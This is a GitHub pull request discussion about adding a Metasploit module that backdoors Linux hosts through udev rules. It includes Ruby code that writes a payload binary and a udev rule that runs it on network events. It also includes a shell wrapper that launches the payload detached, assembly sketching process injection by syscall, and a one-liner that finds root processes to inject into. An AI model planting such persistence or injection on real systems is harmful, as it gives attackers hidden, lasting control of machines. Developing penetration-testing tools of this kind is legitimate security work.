-
Notifications
You must be signed in to change notification settings - Fork 14.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add modules/exploits/linux/local/udev_persistence.rb #19472
base: master
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the module @jvoisin! I started a payload handler but wasn't able to get this working by rebooting the target or by bringing up network interfaces manually or by attempting to trigger udev rules with udevadm trigger -v --subsystem-match=net
I was able to return a session by manually executing the payload file: /usr/bin/udev-check-updates
but the persistence mechanism wasn't working for me.
I noticed some potential syntax errors, I'm wondering if there were maybe some changes made after you tested this? I've been testing on Ubuntu 22.04 (Linux 6.8.0-45-generic)
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
851604d
to
36ec9d6
Compare
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
Hello @jvoisin, tried the module but seems the rule is not triggered at boot time, the payload is written correctly and works, I will try to investigate further, would you mind adding the docs for this post module later? I opened a PR #19542 that you can use as base when it get landed. UPDATE it looks like in Ubuntu 22.04 there is no
|
36ec9d6
to
51ee269
Compare
Co-authored-by: jheysel-r7 <[email protected]>
51ee269
to
b2ad59d
Compare
I added some documentation, and a check for the presence of |
I think we can get rid of the write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="' + datastore['PAYLOAD_PATH']+'"') I will do some tests. |
It's non-trivial |
I see what you mean, I'm think we can make a child bash process with UpdateSo i tried to play a bit with som bash scripting and maybe we can have a script like this backdoor = <<~EOF
#!/bin/sh
PAYLOAD_ENC="#{payload.encoded}"
if [ -f /usr/bin/at ]; then
echo sh -c "$PAYLOAD_ENC" | at -M now
elif [ -f /usr/bin/nohup ]; then
nohup sh -c "$PAYLOAD_ENC" > /dev/null 2>&1&
else
echo sh -c "$PAYLOAD_ENC" & disown | bash
fi
EOF
upload_and_chmodx(datastore['PAYLOAD_PATH'], backdoor) However for now I am still not able to trigger the rule on ubuntu 24.04 LTS, can you provide some details where you tested that? I also tried to change the default rules location but nothing. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi @jvoisin, I left some comments about the code
) | ||
) | ||
register_options([ OptString.new('PAYLOAD_PATH', [true, 'The payload\'s path on disk', '/usr/bin/udev-check-updates']) ]) | ||
register_options([ OptString.new('BACKDOOR_PATH', [true, 'The backdoor\'s path on disk', '/lib/udev/rules.d/99-update.rules']) ]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe consider adding CLEANUP
to remove any possible artifacts of attacker's presence.
upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}") | ||
print_status "#{datastore['PAYLOAD_PATH']} written" | ||
|
||
write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The return value from write_file
should be checked probably and print out error in case of failure.
Regarding @dledda-r7 notes, as far as I remember, def exploit
# unless executable? '/usr/bin/at'
# fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
# end
# unless executable? '/usr/bin/nohup'
# fail_with Failure::BadConfig, 'The required /usr/bin/nohup binary was not found on the target'
#
unless writable? File.dirname(datastore['BACKDOOR_PATH'])
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is not writable"
end
if exists? datastore['BACKDOOR_PATH']
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is already present"
end
unless writable? File.dirname(datastore['PAYLOAD_PATH'])
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is not writable"
end
if exists? datastore['PAYLOAD_PATH']
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is already present"
end
upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
print_status "#{datastore['PAYLOAD_PATH']} written"
if executable? '/usr/bin/at'
fail_with
Failure::PayloadFailed('Creating udev rule failed.') unless write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
elsif executable? '/usr/bin/nohup'
fail_with Failure::PayloadFailed('Creating udev rule failed.') unless write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/nohup ' + datastore['PAYLOAD_PATH'] + ' 1&>/dev/null"')
end
print_status "#{datastore['BACKDOOR_PATH']} written"
end When it comes to simply payload like
I'm not sure if it's really kernel issue (or distro issue), but the current state seems to be bit unreliable. @jvoisin, can you provide bit more details if you tested meterpreter payloads and where? UpdateFrom my testing, mov ecx, 0
mov edx, 0
mov rsi, {PID}
mov edi, 10
mov eax, 0x65
syscall
sub rsp,0x80
mov rcx, rsp
mov rbp, rsp
mov edx, 0
mov rsi, {PID}
mov edi, 0x0C
mov eax, 0x65
syscall
xor ebx,ebx
mov rcx, {payload}
_copy_payload:
mov rsi, {PID}
mov edi, 4
mov eax, 65
syscall
inc rdx
add rcx, 0x8
cmp ebx, {payload_length}
jb _copy_payload
add rbp,0x80
mov DWORD PTR [rbp], {address}
sub rbp, 0x80
mov rcx, rbp
mov edx, 0
mov rsi, {PID}
mov edi, 0x0D
mov eax, 0x65
syscall
mov ecx, 0
mov edx, 0
mov rsi, {PID}
mov edi, 7
mov eax, 0x65
syscall
It would be useful to have persistence as process injection, the hardest part from my perspective is to somehow execute the shellcode persistently, maybe ideally without needing for i in $(ps -ef | grep root | awk '{ print $2}'); do if cat /proc/$i/maps 2>/dev /null | grep \"r-xp\" > /dev/null; then cat /proc/$i/maps | grep \"r-xp\" | head -1 | awk '{print $1}' | awk -F'- ' '{print $1}'; echo $i; break; fi; done I'll try to do more testing and see if how hard would be to make this work. |
Add a way to persist via udev rules.
Verification
msfconsole
use exploits/linux/local/udev_persistence